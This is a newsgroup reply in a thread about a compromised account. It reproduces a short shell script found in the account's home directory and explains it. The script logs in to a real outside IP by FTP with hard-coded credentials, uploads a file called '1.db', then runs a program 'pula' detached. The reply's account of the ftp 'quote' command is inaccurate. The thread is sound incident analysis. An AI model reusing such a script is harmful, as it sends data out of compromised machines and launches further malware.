Re: Phishing Attempt



On Tue, 02 Oct 2007 23:19:17 +1000, Mark wrote:
Mark wrote:

The account home directory contained a simple shell script of just over
a dozen lines I can't see what it's doing there.

OK below is the text of the script as it was sent back to me. I can
normally understand shell scripts, but I can't see what this one is doing.

=20
#!/bin/sh
HOST=3D'58.105.225.59'
USER=3D'test'
PASSWD=3D'testing'
FILE=3D'1.db'
=20
ftp -n $HOST <<END_SCRIPT
quote USER $USER
quote PASS $PASSWD
put $FILE
quit
END_SCRIPT
sleep 70
./pula &
exit 0
=20
=20

The "=3D" looks like an escape convention for representing
the character "=". Under that convention, "=20" is a space.

I don't know who processes the "quote" command, but from the
context it's prety clear that its function is to substitute
values for the variables $USER and $PASSWD.

So, what it does:
1. FTP to 58.105.225.59 with user name "test" and password
"testing", and send the file "1.db". (With this name
and password, I get "Login incorrect.")
2. Sleep for 70 seconds.
3. Run the program "pula", detached.

--
To email me, substitute nowhere->spamcop, invalid->net.
.



Relevant Pages

  • Re: New M3/FL holder check...
    ... After replacing Walter Raleigh with a small shell script on Monday 12 Dec ... the following appeared on stdout: ... > Thats a great quote by the way Matt. ...
    (uk.radio.amateur)
  • Re: Variable variable name
    ... numbers first) in a shell script: ... I get the following error message: ... quote the command to prevent filename expansion on the first ...
    (comp.unix.shell)
  • Re: Convert file in a dir to lower case
    ... on standard input. ... Moreover, to play safe, I'd use "-i" for the 'mv' command in such a ... shell script. ... Quote the variable: ...
    (comp.os.linux.misc)
  • Re: Quality items FO....
    ... After replacing lucifer@xxxxxxxxxxxxxxxxxx with a small shell script on ... the following appeared on stdout: ... quote: "The good thing about standards is that there are so many to ...
    (uk.radio.amateur)
  • Re: Sandman -- was Re: script to force sleep?
    ... >> have to go track down the offending APE or PrefPane or daemon, ... > I've made a little shell script that takes care of the real problem in ... > of the while loop. ... > sleep $CHECKINTERVAL.sandman:$IDLESECONDS.secs:$IDLEMINUTES.mins ...
    (comp.sys.mac.system)